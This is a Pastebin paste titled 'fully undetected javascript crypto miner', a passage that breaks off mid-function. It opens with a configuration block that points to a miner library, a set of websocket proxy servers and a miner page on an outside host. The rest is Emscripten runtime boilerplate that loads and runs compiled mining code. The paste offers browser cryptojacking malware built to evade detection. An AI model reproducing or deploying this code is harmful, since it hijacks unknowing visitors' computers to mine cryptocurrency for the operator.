Advertisement
Guest User

fully undetected javascript crypto miner

a guest
Mar 26th, 2018
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  self.MinerAlt = self.MinerAlt || {};
  2.  self.MinerAlt.CONFIG = {
  3.      LIB_URL: "https://p.hemnes.win/lib/",
  4.      WEBSOCKET_SHARDS: [
  5.          ["wss://ws001.hemnes.win/proxy", "wss://ws002.hemnes.win/proxy", "wss://ws003.hemnes.win/proxy", "wss://ws004.hemnes.win/proxy", "wss://ws005.hemnes.win/proxy", "wss://ws006.hemnes.win/proxy", "wss://ws007.hemnes.win/proxy", "wss://ws029.hemnes.win/proxy"],
  6.          ["wss://ws008.hemnes.win/proxy", "wss://ws009.hemnes.win/proxy", "wss://ws010.hemnes.win/proxy", "wss://ws011.hemnes.win/proxy", "wss://ws012.hemnes.win/proxy", "wss://ws013.hemnes.win/proxy", "wss://ws014.hemnes.win/proxy", "wss://ws030.hemnes.win/proxy"],
  7.          ["wss://ws015.hemnes.win/proxy", "wss://ws016.hemnes.win/proxy", "wss://ws017.hemnes.win/proxy", "wss://ws018.hemnes.win/proxy", "wss://ws019.hemnes.win/proxy", "wss://ws020.hemnes.win/proxy", "wss://ws021.hemnes.win/proxy", "wss://ws031.hemnes.win/proxy"],
  8.          ["wss://ws022.hemnes.win/proxy", "wss://ws023.hemnes.win/proxy", "wss://ws024.hemnes.win/proxy", "wss://ws025.hemnes.win/proxy", "wss://ws026.hemnes.win/proxy", "wss://ws027.hemnes.win/proxy", "wss://ws028.hemnes.win/proxy", "wss://ws032.hemnes.win/proxy"]
  9.      ],
  10.      CAPTCHA_URL: "https://p.hemnes.win/captcha/",
  11.      MINER_URL: "https://p.hemnes.win/media/miner.html"
  12.  };
  13.  var Module = {
  14.      locateFile: (function(path) {
  15.          return MinerAlt.CONFIG.LIB_URL + path
  16.      })
  17.  };
  18.  var Module;
  19.  if (!Module) Module = (typeof Module !== "undefined" ? Module : null) || {};
  20.  var moduleOverrides = {};
  21.  for (var key in Module) {
  22.      if (Module.hasOwnProperty(key)) {
  23.          moduleOverrides[key] = Module[key]
  24.      }
  25.  }
  26.  var ENVIRONMENT_IS_WEB = false;
  27.  var ENVIRONMENT_IS_WORKER = false;
  28.  var ENVIRONMENT_IS_NODE = false;
  29.  var ENVIRONMENT_IS_SHELL = false;
  30.  if (Module["ENVIRONMENT"]) {
  31.      if (Module["ENVIRONMENT"] === "WEB") {
  32.          ENVIRONMENT_IS_WEB = true
  33.      } else if (Module["ENVIRONMENT"] === "WORKER") {
  34.          ENVIRONMENT_IS_WORKER = true
  35.      } else if (Module["ENVIRONMENT"] === "NODE") {
  36.          ENVIRONMENT_IS_NODE = true
  37.      } else if (Module["ENVIRONMENT"] === "SHELL") {
  38.          ENVIRONMENT_IS_SHELL = true
  39.      } else {
  40.          throw new Error("The provided Module['ENVIRONMENT'] value is not valid. It must be one of: WEB|WORKER|NODE|SHELL.")
  41.      }
  42.  } else {
  43.      ENVIRONMENT_IS_WEB = typeof window === "object";
  44.      ENVIRONMENT_IS_WORKER = typeof importScripts === "function";
  45.      ENVIRONMENT_IS_NODE = typeof process === "object" && typeof require === "function" && !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_WORKER;
  46.      ENVIRONMENT_IS_SHELL = !ENVIRONMENT_IS_WEB && !ENVIRONMENT_IS_NODE && !ENVIRONMENT_IS_WORKER
  47.  }
  48.  if (ENVIRONMENT_IS_NODE) {
  49.      if (!Module["print"]) Module["print"] = console.log;
  50.      if (!Module["printErr"]) Module["printErr"] = console.warn;
  51.      var nodeFS;
  52.      var nodePath;
  53.      Module["read"] = function shell_read(filename, binary) {
  54.          if (!nodeFS) nodeFS = require("fs");
  55.          if (!nodePath) nodePath = require("path");
  56.          filename = nodePath["normalize"](filename);
  57.          var ret = nodeFS["readFileSync"](filename);
  58.          return binary ? ret : ret.toString()
  59.      };
  60.      Module["readBinary"] = function readBinary(filename) {
  61.          var ret = Module["read"](filename, true);
  62.          if (!ret.buffer) {
  63.              ret = new Uint8Array(ret)
  64.          }
  65.          assert(ret.buffer);
  66.          return ret
  67.      };
  68.      Module["load"] = function load(f) {
  69.          globalEval(read(f))
  70.      };
  71.      if (!Module["thisProgram"]) {
  72.          if (process["argv"].length > 1) {
  73.              Module["thisProgram"] = process["argv"][1].replace(/\\/g, "/")
  74.          } else {
  75.              Module["thisProgram"] = "unknown-program"
  76.          }
  77.      }
  78.      Module["arguments"] = process["argv"].slice(2);
  79.      if (typeof module !== "undefined") {
  80.          module["exports"] = Module
  81.      }
  82.      process["on"]("uncaughtException", (function(ex) {
  83.          if (!(ex instanceof ExitStatus)) {
  84.              throw ex
  85.          }
  86.      }));
  87.      Module["inspect"] = (function() {
  88.          return "[Emscripten Module object]"
  89.      })
  90.  } else if (ENVIRONMENT_IS_SHELL) {
  91.      if (!Module["print"]) Module["print"] = print;
  92.      if (typeof printErr != "undefined") Module["printErr"] = printErr;
  93.      if (typeof read != "undefined") {
  94.          Module["read"] = read
  95.      } else {
  96.          Module["read"] = function shell_read() {
  97.              throw "no read() available"
  98.          }
  99.      }
  100.      Module["readBinary"] = function readBinary(f) {
  101.          if (typeof readbuffer === "function") {
  102.              return new Uint8Array(readbuffer(f))
  103.          }
  104.          var data = read(f, "binary");
  105.          assert(typeof data === "object");
  106.          return data
  107.      };
  108.      if (typeof scriptArgs != "undefined") {
  109.          Module["arguments"] = scriptArgs
  110.      } else if (typeof arguments != "undefined") {
  111.          Module["arguments"] = arguments
  112.      }
  113.      if (typeof quit === "function") {
  114.          Module["quit"] = (function(status, toThrow) {
  115.              quit(status)
  116.          })
  117.      }
  118.  } else if (ENVIRONMENT_IS_WEB || ENVIRONMENT_IS_WORKER) {
  119.      Module["read"] = function shell_read(url) {
  120.          var xhr = new XMLHttpRequest;
  121.          xhr.open("GET", url, false);
  122.          xhr.send(null);
  123.          return xhr.responseText
  124.      };
  125.      if (ENVIRONMENT_IS_WORKER) {
  126.          Module["readBinary"] = function readBinary(url) {
  127.              var xhr = new XMLHttpRequest;
  128.              xhr.open("GET", url, false);
  129.              xhr.responseType = "arraybuffer";
  130.              xhr.send(null);
  131.              return new Uint8Array(xhr.response)
  132.          }
  133.      }
  134.      Module["readAsync"] = function readAsync(url, onload, onerror) {
  135.          var xhr = new XMLHttpRequest;
  136.          xhr.open("GET", url, true);
  137.          xhr.responseType = "arraybuffer";
  138.          xhr.onload = function xhr_onload() {
  139.              if (xhr.status == 200 || xhr.status == 0 && xhr.response) {
  140.                  onload(xhr.response)
  141.              } else {
  142.                  onerror()
  143.              }
  144.          };
  145.          xhr.onerror = onerror;
  146.          xhr.send(null)
  147.      };
  148.      if (typeof arguments != "undefined") {
  149.          Module["arguments"] = arguments
  150.      }
  151.      if (typeof console !== "undefined") {
  152.          if (!Module["print"]) Module["print"] = function shell_print(x) {
  153.              console.log(x)
  154.          };
  155.          if (!Module["printErr"]) Module["printErr"] = function shell_printErr(x) {
  156.              console.warn(x)
  157.          }
  158.      } else {
  159.          var TRY_USE_DUMP = false;
  160.          if (!Module["print"]) Module["print"] = TRY_USE_DUMP && typeof dump !== "undefined" ? (function(x) {
  161.              dump(x)
  162.          }) : (function(x) {})
  163.      }
  164.      if (ENVIRONMENT_IS_WORKER) {
  165.          Module["load"] = importScripts
  166.      }
  167.      if (typeof Module["setWindowTitle"] === "undefined") {
  168.          Module["setWindowTitle"] = (function(title) {
  169.              document.title = title
  170.          })
  171.      }
  172.  } else {
  173.      throw "Unknown runtime environment. Where are we?"
  174.  }
  175.  
  176.  function globalEval(x) {
  177.      eval.call(null, x)
  178.  }
  179.  if (!Module["load"] && Module["read"]) {
  180.      Module["load"] = function load(f) {
  181.          globalEval(Module["read"](f))
  182.      }
  183.  }
  184.  if (!Module["print"]) {
  185.      Module["print"] = (function() {})
  186.  }
  187.  if (!Module["printErr"]) {
  188.      Module["printErr"] = Module["print"]
  189.  }
  190.  if (!Module["arguments"]) {
  191.      Module["arguments"] = []
  192.  }
  193.  if (!Module["thisProgram"]) {
  194.      Module["thisProgram"] = "./this.program"
  195.  }
  196.  if (!Module["quit"]) {
  197.      Module["quit"] = (function(status, toThrow) {
  198.          throw toThrow
  199.      })
  200.  }
  201.  Module.print = Module["print"];
  202.  Module.printErr = Module["printErr"];
  203.  Module["preRun"] = [];
  204.  Module["postRun"] = [];
  205.  for (var key in moduleOverrides) {
  206.      if (moduleOverrides.hasOwnProperty(key)) {
  207.          Module[key] = moduleOverrides[key]
  208.      }
  209.  }
  210.  moduleOverrides = undefined;
  211.  var Runtime = {
  212.      setTempRet0: (function(value) {
  213.          tempRet0 = value;
  214.          return value
  215.      }),
  216.      getTempRet0: (function() {
  217.          return tempRet0
  218.      }),
  219.      stackSave: (function() {
  220.          return STACKTOP
  221.      }),
  222.      stackRestore: (function(stackTop) {
  223.          STACKTOP = stackTop
  224.      }),
  225.      getNativeTypeSize: (function(type) {
  226.          switch (type) {
  227.              case "i1":
  228.              case "i8":
  229.                  return 1;
  230.              case "i16":
  231.                  return 2;
  232.              case "i32":
  233.                  return 4;
  234.              case "i64":
  235.                  return 8;
  236.              case "float":
  237.                  return 4;
  238.              case "double":
  239.                  return 8;
  240.              default:
  241.                  {
  242.                      if (type[type.length - 1] === "*") {
  243.                          return Runtime.QUANTUM_SIZE
  244.                      } else if (type[0] === "i") {
  245.                          var bits = parseInt(type.substr(1));
  246.                          assert(bits % 8 === 0);
  247.                          return bits / 8
  248.                      } else {
  249.                          return 0
  250.                      }
  251.                  }
  252.          }
  253.      }),
  254.      getNativeFieldSize: (function(type) {
  255.          return Math.max(Runtime.getNativeTypeSize(type), Runtime.QUANTUM_SIZE)
  256.      }),
  257.      STACK_ALIGN: 16,
  258.      prepVararg: (function(ptr, type) {
  259.          if (type === "double" || type === "i64") {
  260.              if (ptr & 7) {
  261.                  assert((ptr & 7) === 4);
  262.                  ptr += 4
  263.              }
  264.          } else {
  265.              assert((ptr & 3) === 0)
  266.          }
  267.          return ptr
  268.      }),
  269.      getAlignSize: (function(type, size, vararg) {
  270.          if (!vararg && (type == "i64" || type == "double")) return 8;
  271.          if (!type) return Math.min(size, 8);
  272.          return Math.min(size || (type ? Runtime.getNativeFieldSize(type) : 0), Runtime.QUANTUM_SIZE)
  273.      }),
  274.      dynCall: (function(sig, ptr, args) {
  275.          if (args && args.length) {
  276.              return Module["dynCall_" + sig].apply(null, [ptr].concat(args))
  277.          } else {
  278.              return Module["dynCall_" + sig].call(null, ptr)
  279.          }
  280.      }),
  281.      functionPointers: [],
  282.      addFunction: (function(func) {
  283.          for (var i = 0; i < Runtime.functionPointers.length; i++) {
  284.              if (!Runtime.functionPointers[i]) {
  285.                  Runtime.functionPointers[i] = func;
  286.                  return 2 * (1 + i)
  287.              }
  288.          }
  289.          throw "Finished up all reserved function pointers. Use a higher value for RESERVED_FUNCTION_POINTERS."
  290.      }),
  291.      removeFunction: (function(index) {
  292.          Runtime.functionPointers[(index - 2) / 2] = null
  293.      }),
  294.      warnOnce: (function(text) {
  295.          if (!Runtime.warnOnce.shown) Runtime.warnOnce.shown = {};
  296.          if (!Runtime.warnOnce.shown[text]) {
  297.              Runtime.warnOnce.shown[text] = 1;
  298.              Module.printErr(text)
  299.          }
  300.      }),
  301.      funcWrappers: {},
  302.      getFuncWrapper: (function(func, sig) {
  303.          assert(sig);
  304.          if (!Runtime.funcWrappers[sig]) {
  305.              Runtime.funcWrappers[sig] = {}
  306.          }
  307.          var sigCache = Runtime.funcWrappers[sig];
  308.          if (!sigCache[func]) {
  309.              if (sig.length === 1) {
  310.                  sigCache[func] = function dynCall_wrapper() {
  311.                      return Runtime.dynCall(sig, func)
  312.                  }
  313.              } else if (sig.length === 2) {
  314.                  sigCache[func] = function dynCall_wrapper(arg) {
  315.                      return Runtime.dynCall(sig, func, [arg])
  316.                  }
  317.              } else {
  318.                  sigCache[func] = function dynCall_wrapper() {
  319.                      return Runtime.dynCall(sig, func, Array.prototype.slice.call(arguments))
  320.                  }
  321.              }
  322.          }
  323.          return sigCache[func]
  324.      }),
  325.      getCompilerSetting: (function(name) {
  326.          throw "You must build with -s RETAIN_COMPILER_SETTINGS=1 for Runtime.getCompilerSetting or emscripten_get_compiler_setting to work"
  327.      }),
  328.      stackAlloc: (function(size) {
  329.          var ret = STACKTOP;
  330.          STACKTOP = STACKTOP + size | 0;
  331.          STACKTOP = STACKTOP + 15 & -16;
  332.          return ret
  333.      }),
  334.      staticAlloc: (function(size) {
  335.          var ret = STATICTOP;
  336.          STATICTOP = STATICTOP + size | 0;
  337.          STATICTOP = STATICTOP + 15 & -16;
  338.          return ret
  339.      }),
  340.      dynamicAlloc: (function(size) {
  341.          var ret = HEAP32[DYNAMICTOP_PTR >> 2];
  342.          var end = (ret + size + 15 | 0) & -16;
  343.          HEAP32[DYNAMICTOP_PTR >> 2] = end;
  344.          if (end >= TOTAL_MEMORY) {
  345.              var success = enlargeMemory();
  346.              if (!success) {
  347.                  HEAP32[DYNAMICTOP_PTR >> 2] = ret;
  348.                  return 0
  349.              }
  350.          }
  351.          return ret
  352.      }),
  353.      alignMemory: (function(size, quantum) {
  354.          var ret = size = Math.ceil(size / (quantum ? quantum : 16)) * (quantum ? quantum : 16);
  355.          return ret
  356.      }),
  357.      makeBigInt: (function(low, high, unsigned) {
  358.          var ret = unsigned ? +(low >>> 0) + +(high >>> 0) * 4294967296 : +(low >>> 0) + +(high | 0) * 4294967296;
  359.          return ret
  360.      }),
  361.      GLOBAL_BASE: 1024,
  362.      QUANTUM_SIZE: 4,
  363.      __dummy__: 0
  364.  };
  365.  Module["Runtime"] = Runtime;
  366.  var ABORT = 0;
  367.  var EXITSTATUS = 0;
  368.  
  369.  function assert(condition, text) {
  370.      if (!condition) {
  371.          abort("Assertion failed: " + text)
  372.      }
  373.  }
  374.  
  375.  function getCFunc(ident) {
  376.      var func = Module["_" + ident];
  377.      if (!func) {
  378.          try {
  379.              func = eval("_" + ident)
  380.          } catch (e) {}
  381.      }
  382.      assert(func, "Cannot call unknown function " + ident + " (perhaps LLVM optimizations or closure removed it?)");
  383.      return func
  384.  }
  385.  var cwrap, ccall;
  386.  ((function() {
  387.      var JSfuncs = {
  388.          "stackSave": (function() {
  389.              Runtime.stackSave()
  390.          }),
  391.          "stackRestore": (function() {
  392.              Runtime.stackRestore()
  393.          }),
  394.          "arrayToC": (function(arr) {
  395.              var ret = Runtime.stackAlloc(arr.length);
  396.              writeArrayToMemory(arr, ret);
  397.              return ret
  398.          }),
  399.          "stringToC": (function(str) {
  400.              var ret = 0;
  401.              if (str !== null && str !== undefined && str !== 0) {
  402.                  var len = (str.length << 2) + 1;
  403.                  ret = Runtime.stackAlloc(len);
  404.                  stringToUTF8(str, ret, len)
  405.              }
  406.              return ret
  407.          })
  408.      };
  409.      var toC = {
  410.          "string": JSfuncs["stringToC"],
  411.          "array": JSfuncs["arrayToC"]
  412.      };
  413.      ccall = function ccallFunc(ident, returnType, argTypes, args, opts) {
  414.          var func = getCFunc(ident);
  415.          var cArgs = [];
  416.          var stack = 0;
  417.          if (args) {
  418.              for (var i = 0; i < args.length; i++) {
  419.                  var converter = toC[argTypes[i]];
  420.                  if (converter) {
  421.                      if (stack === 0) stack = Runtime.stackSave();
  422.                      cArgs[i] = converter(args[i])
  423.                  } else {
  424.                      cArgs[i] = args[i]
  425.                  }
  426.              }
  427.          }
  428.          var ret = func.apply(null, cArgs);
  429.          if (returnType === "string") ret = Pointer_stringify(ret);
  430.          if (stack !== 0) {
  431.              if (opts && opts.async) {
  432.                  EmterpreterAsync.asyncFinalizers.push((function() {
  433.                      Runtime.stackRestore(stack)
  434.                  }));
  435.                  return
  436.              }
  437.              Runtime.stackRestore(stack)
  438.          }
  439.          return ret
  440.      };
  441.      var sourceRegex = /^function\s*[a-zA-Z$_0-9]*\s*\(([^)]*)\)\s*{\s*([^*]*?)[\s;]*(?:return\s*(.*?)[;\s]*)?}$/;
  442.  
  443.      function parseJSFunc(jsfunc) {
  444.          var parsed = jsfunc.toString().match(sourceRegex).slice(1);
  445.          return {
  446.              arguments: parsed[0],
  447.              body: parsed[1],
  448.              returnValue: parsed[2]
  449.          }
  450.      }
  451.      var JSsource = null;
  452.  
  453.      function ensureJSsource() {
  454.          if (!JSsource) {
  455.              JSsource = {};
  456.              for (var fun in JSfuncs) {
  457.                  if (JSfuncs.hasOwnProperty(fun)) {
  458.                      JSsource[fun] = parseJSFunc(JSfuncs[fun])
  459.                  }
  460.              }
  461.          }
  462.      }
  463.      cwrap = function cwrap(ident, returnType, argTypes) {
  464.          argTypes = argTypes || [];
  465.          var cfunc = getCFunc(ident);
  466.          var numericArgs = argTypes.every((function(type) {
  467.              return type === "number"
  468.          }));
  469.          var numericRet = returnType !== "string";
  470.          if (numericRet && numericArgs) {
  471.              return cfunc
  472.          }
  473.          var argNames = argTypes.map((function(x, i) {
  474.              return "$" + i
  475.          }));
  476.          var funcstr = "(function(" + argNames.join(",") + ") {";
  477.          var nargs = argTypes.length;
  478.          if (!numericArgs) {
  479.              ensureJSsource();
  480.              funcstr += "var stack = " + JSsource["stackSave"].body + ";";
  481.              for (var i = 0; i < nargs; i++) {
  482.                  var arg = argNames[i],
  483.                      type = argTypes[i];
  484.                  if (type === "number") continue;
  485.                  var convertCode = JSsource[type + "ToC"];
  486.                  funcstr += "var " + convertCode.arguments + " = " + arg + ";";
  487.                  funcstr += convertCode.body + ";";
  488.                  funcstr += arg + "=(" + convertCode.returnValue + ");"
  489.              }
  490.          }
  491.          var cfuncname = parseJSFunc((function() {
  492.              return cfunc
  493.          })).returnValue;
  494.          funcstr += "var ret = " + cfuncname + "(" + argNames.join(",") + ");";
  495.          if (!numericRet) {
  496.              var strgfy = parseJSFunc((function() {
  497.                  return Pointer_stringify
  498.              })).returnValue;
  499.              funcstr += "ret = " + strgfy + "(ret);"
  500.          }
  501.          if (!numericArgs) {
  502.              ensureJSsource();
  503.              funcstr += JSsource["stackRestore"].body.replace("()", "(stack)") + ";"
  504.          }
  505.          funcstr += "return ret})";
  506.          return eval(funcstr)
  507.      }
  508.  }))();
  509.  Module["ccall"] = ccall;
  510.  Module["cwrap"] = cwrap;
  511.  
  512.  function setValue(ptr, value, type, noSafe) {
  513.      type = type || "i8";
  514.      if (type.charAt(type.length - 1) === "*") type = "i32";
  515.      switch (type) {
  516.          case "i1":
  517.              HEAP8[ptr >> 0] = value;
  518.              break;
  519.          case "i8":
  520.              HEAP8[ptr >> 0] = value;
  521.              break;
  522.          case "i16":
  523.              HEAP16[ptr >> 1] = value;
  524.              break;
  525.          case "i32":
  526.              HEAP32[ptr >> 2] = value;
  527.              break;
  528.          case "i64":
  529.              tempI64 = [value >>> 0, (tempDouble = value, +Math_abs(tempDouble) >= 1 ? tempDouble > 0 ? (Math_min(+Math_floor(tempDouble / 4294967296), 4294967295) | 0) >>> 0 : ~~+Math_ceil((tempDouble - +(~~tempDouble >>> 0)) / 4294967296) >>> 0 : 0)], HEAP32[ptr >> 2] = tempI64[0], HEAP32[ptr + 4 >> 2] = tempI64[1];
  530.              break;
  531.          case "float":
  532.              HEAPF32[ptr >> 2] = value;
  533.              break;
  534.          case "double":
  535.              HEAPF64[ptr >> 3] = value;
  536.              break;
  537.          default:
  538.              abort("invalid type for setValue: " + type)
  539.      }
  540.  }
  541.  Module["setValue"] = setValue;
  542.  
  543.  function getValue(ptr, type, noSafe) {
  544.      type = type || "i8";
  545.      if (type.charAt(type.length - 1) === "*") type = "i32";
  546.      switch (type) {
  547.          case "i1":
  548.              return HEAP8[ptr >> 0];
  549.          case "i8":
  550.              return HEAP8[ptr >> 0];
  551.          case "i16":
  552.              return HEAP16[ptr >> 1];
  553.          case "i32":
  554.              return HEAP32[ptr >> 2];
  555.          case "i64":
  556.              return HEAP32[ptr >> 2];
  557.          case "float":
  558.              return HEAPF32[ptr >> 2];
  559.          case "double":
  560.              return HEAPF64[ptr >> 3];
  561.          default:
  562.              abort("invalid type for setValue: " + type)
  563.      }
  564.      return null
  565.  }
  566.  Module["getValue"] = getValue;
  567.  var ALLOC_NORMAL = 0;
  568.  var ALLOC_STACK = 1;
  569.  var ALLOC_STATIC = 2;
  570.  var ALLOC_DYNAMIC = 3;
  571.  var ALLOC_NONE = 4;
  572.  Module["ALLOC_NORMAL"] = ALLOC_NORMAL;
  573.  Module["ALLOC_STACK"] = ALLOC_STACK;
  574.  Module["ALLOC_STATIC"] = ALLOC_STATIC;
  575.  Module["ALLOC_DYNAMIC"] = ALLOC_DYNAMIC;
  576.  Module["ALLOC_NONE"] = ALLOC_NONE;
  577.  
  578.  function allocate(slab, types, allocator, ptr) {
  579.      var zeroinit, size;
  580.      if (typeof slab === "number") {
  581.          zeroinit = true;
  582.          size = slab
  583.      } else {
  584.          zeroinit = false;
  585.          size = slab.length
  586.      }
  587.      var singleType = typeof types === "string" ? types : null;
  588.      var ret;
  589.      if (allocator == ALLOC_NONE) {
  590.          ret = ptr
  591.      } else {
  592.          ret = [typeof _malloc === "function" ? _malloc : Runtime.staticAlloc, Runtime.stackAlloc, Runtime.staticAlloc, Runtime.dynamicAlloc][allocator === undefined ? ALLOC_STATIC : allocator](Math.max(size, singleType ? 1 : types.length))
  593.      }
  594.      if (zeroinit) {
  595.          var ptr = ret,
  596.              stop;
  597.          assert((ret & 3) == 0);
  598.          stop = ret + (size & ~3);
  599.          for (; ptr < stop; ptr += 4) {
  600.              HEAP32[ptr >> 2] = 0
  601.          }
  602.          stop = ret + size;
  603.          while (ptr < stop) {
  604.              HEAP8[ptr++ >> 0] = 0
  605.          }
  606.          return ret
  607.      }
  608.      if (singleType === "i8") {
  609.          if (slab.subarray || slab.slice) {
  610.              HEAPU8.set(slab, ret)
  611.          } else {
  612.              HEAPU8.set(new Uint8Array(slab), ret)
  613.          }
  614.          return ret
  615.      }
  616.      var i = 0,
  617.          type, typeSize, previousType;
  618.      while (i < size) {
  619.          var curr = slab[i];
  620.          if (typeof curr === "function") {
  621.              curr = Runtime.getFunctionIndex(curr)
  622.          }
  623.          type = singleType || types[i];
  624.          if (type === 0) {
  625.              i++;
  626.              continue
  627.          }
  628.          if (type == "i64") type = "i32";
  629.          setValue(ret + i, curr, type);
  630.          if (previousType !== type) {
  631.              typeSize = Runtime.getNativeTypeSize(type);
  632.              previousType = type
  633.          }
  634.          i += typeSize
  635.      }
  636.      return ret
  637.  }
  638.  Module["allocate"] = allocate;
  639.  
  640.  function getMemory(size) {
  641.      if (!staticSealed) return Runtime.staticAlloc(size);
  642.      if (!runtimeInitialized) return Runtime.dynamicAlloc(size);
  643.      return _malloc(size)
  644.  }
  645.  Module["getMemory"] = getMemory;
  646.  
  647.  function Pointer_stringify(ptr, length) {
  648.      if (length === 0 || !ptr) return "";
  649.      var hasUtf = 0;
  650.      var t;
  651.      var i = 0;
  652.      while (1) {
  653.          t = HEAPU8[ptr + i >> 0];
  654.          hasUtf |= t;
  655.          if (t == 0 && !length) break;
  656.          i++;
  657.          if (length && i == length) break
  658.      }
  659.      if (!length) length = i;
  660.      var ret = "";
  661.      if (hasUtf < 128) {
  662.          var MAX_CHUNK = 1024;
  663.          var curr;
  664.          while (length > 0) {
  665.              curr = String.fromCharCode.apply(String, HEAPU8.subarray(ptr, ptr + Math.min(length, MAX_CHUNK)));
  666.              ret = ret ? ret + curr : curr;
  667.              ptr += MAX_CHUNK;
  668.              length -= MAX_CHUNK
  669.          }
  670.          return ret
  671.      }
  672.      return Module["UTF8ToString"](ptr)
  673.  }
  674.  Module["Pointer_stringify"] = Pointer_stringify;
  675.  
  676.  function AsciiToString(ptr) {
  677.      var str = "";
  678.      while (1) {
  679.          var ch = HEAP8[ptr++ >> 0];
  680.          if (!ch) return str;
  681.          str += String.fromCharCode(ch)
  682.      }
  683.  }
  684.  Module["AsciiToString"] = AsciiToString;
  685.  
  686.  function stringToAscii(str, outPtr) {
  687.      return writeAsciiToMemory(str, outPtr, false)
  688.  }
  689.  Module["stringToAscii"] = stringToAscii;
  690.  var UTF8Decoder = typeof TextDecoder !== "undefined" ? new TextDecoder("utf8") : undefined;
  691.  
  692.  function UTF8ArrayToString(u8Array, idx) {
  693.      var endPtr = idx;
  694.      while (u8Array[endPtr]) ++endPtr;
  695.      if (endPtr - idx > 16 && u8Array.subarray && UTF8Decoder) {
  696.          return UTF8Decoder.decode(u8Array.subarray(idx, endPtr))
  697.      } else {
  698.          var u0, u1, u2, u3, u4, u5;
  699.          var str = "";
  700.          while (1) {
  701.              u0 = u8Array[idx++];
  702.              if (!u0) return str;
  703.              if (!(u0 & 128)) {
  704.                  str += String.fromCharCode(u0);
  705.                  continue
  706.              }
  707.              u1 = u8Array[idx++] & 63;
  708.              if ((u0 & 224) == 192) {
  709.                  str += String.fromCharCode((u0 & 31) << 6 | u1);
  710.                  continue
  711.              }
  712.              u2 = u8Array[idx++] & 63;
  713.              if ((u0 & 240) == 224) {
  714.                  u0 = (u0 & 15) << 12 | u1 << 6 | u2
  715.              } else {
  716.                  u3 = u8Array[idx++] & 63;
  717.                  if ((u0 & 248) == 240) {
  718.                      u0 = (u0 & 7) << 18 | u1 << 12 | u2 << 6 | u3
  719.                  } else {
  720.                      u4 = u8Array[idx++] & 63;
  721.                      if ((u0 & 252) == 248) {
  722.                          u0 = (u0 & 3) << 24 | u1 << 18 | u2 << 12 | u3 << 6 | u4
  723.                      } else {
  724.                          u5 = u8Array[idx++] & 63;
  725.                          u0 = (u0 & 1) << 30 | u1 << 24 | u2 << 18 | u3 << 12 | u4 << 6 | u5
  726.                      }
  727.                  }
  728.              }
  729.              if (u0 < 65536) {
  730.                  str += String.fromCharCode(u0)
  731.              } else {
  732.                  var ch = u0 - 65536;
  733.                  str += String.fromCharCode(55296 | ch >> 10, 56320 | ch & 1023)
  734.              }
  735.          }
  736.      }
  737.  }
  738.  Module["UTF8ArrayToString"] = UTF8ArrayToString;
  739.  
  740.  function UTF8ToString(ptr) {
  741.      return UTF8ArrayToString(HEAPU8, ptr)
  742.  }
  743.  Module["UTF8ToString"] = UTF8ToString;
  744.  
  745.  function stringToUTF8Array(str, outU8Array, outIdx, maxBytesToWrite) {
  746.      if (!(maxBytesToWrite > 0)) return 0;
  747.      var startIdx = outIdx;
  748.      var endIdx = outIdx + maxBytesToWrite - 1;
  749.      for (var i = 0; i < str.length; ++i) {
  750.          var u = str.charCodeAt(i);
  751.          if (u >= 55296 && u <= 57343) u = 65536 + ((u & 1023) << 10) | str.charCodeAt(++i) & 1023;
  752.          if (u <= 127) {
  753.              if (outIdx >= endIdx) break;
  754.              outU8Array[outIdx++] = u
  755.          } else if (u <= 2047) {
  756.              if (outIdx + 1 >= endIdx) break;
  757.              outU8Array[outIdx++] = 192 | u >> 6;
  758.              outU8Array[outIdx++] = 128 | u & 63
  759.          } else if (u <= 65535) {
  760.              if (outIdx + 2 >= endIdx) break;
  761.              outU8Array[outIdx++] = 224 | u >> 12;
  762.              outU8Array[outIdx++] = 128 | u >> 6 & 63;
  763.              outU8Array[outIdx++] = 128 | u & 63
  764.          } else if (u <= 2097151) {
  765.              if (outIdx + 3 >= endIdx) break;
  766.              outU8Array[outIdx++] = 240 | u >> 18;
  767.              outU8Array[outIdx++] = 128 | u >> 12 & 63;
  768.              outU8Array[outIdx++] = 128 | u >> 6 & 63;
  769.              outU8Array[outIdx++] = 128 | u & 63
  770.          } else if (u <= 67108863) {
  771.              if (outIdx + 4 >= endIdx) break;
  772.              outU8Array[outIdx++] = 248 | u >> 24;
  773.              outU8Array[outIdx++] = 128 | u >> 18 & 63;
  774.              outU8Array[outIdx++] = 128 | u >> 12 & 63;
  775.              outU8Array[outIdx++] = 128 | u >> 6 & 63;
  776.              outU8Array[outIdx++] = 128 | u & 63
  777.          } else {
  778.              if (outIdx + 5 >= endIdx) break;
  779.              outU8Array[outIdx++] = 252 | u >> 30;
  780.              outU8Array[outIdx++] = 128 | u >> 24 & 63;
  781.              outU8Array[outIdx++] = 128 | u >> 18 & 63;
  782.              outU8Array[outIdx++] = 128 | u >> 12 & 63;
  783.              outU8Array[outIdx++] = 128 | u >> 6 & 63;
  784.              outU8Array[outIdx++] = 128 | u & 63
  785.          }
  786.      }
  787.      outU8Array[outIdx] = 0;
  788.      return outIdx - startIdx
  789.  }
  790.  Module["stringToUTF8Array"] = stringToUTF8Array;
  791.  
  792.  function stringToUTF8(str, outPtr, maxBytesToWrite) {
  793.      return stringToUTF8Array(str, HEAPU8, outPtr, maxBytesToWrite)
  794.  }
  795.  Module["stringToUTF8"] = stringToUTF8;
  796.  
  797.  function lengthBytesUTF8(str) {
  798.      var len = 0;
  799.      for (var i = 0; i < str.length; ++i) {
  800.          var u = str.charCodeAt(i);
  801.          if (u >= 55296 && u <= 57343) u = 65536 + ((u & 1023) << 10) | str.charCodeAt(++i) & 1023;
  802.          if (u <= 127) {
  803.              ++len
  804.          } else if (u <= 2047) {
  805.              len += 2
  806.          } else if (u <= 65535) {
  807.              len += 3
  808.          } else if (u <= 2097151) {
  809.              len += 4
  810.          } else if (u <= 67108863) {
  811.              len += 5
  812.          } else {
  813.              len += 6
  814.          }
  815.      }
  816.      return len
  817.  }
  818.  Module["lengthBytesUTF8"] = lengthBytesUTF8;
  819.  var UTF16Decoder = typeof TextDecoder !== "undefined" ? new TextDecoder("utf-16le") : undefined;
  820.  
  821.  function demangle(func) {
  822.      var __cxa_demangle_func = Module["___cxa_demangle"] || Module["__cxa_demangle"];
  823.      if (__cxa_demangle_func) {
  824.          try {
  825.              var s = func.substr(1);
  826.              var len = lengthBytesUTF8(s) + 1;
  827.              var buf = _malloc(len);
  828.              stringToUTF8(s, buf, len);
  829.              var status = _malloc(4);
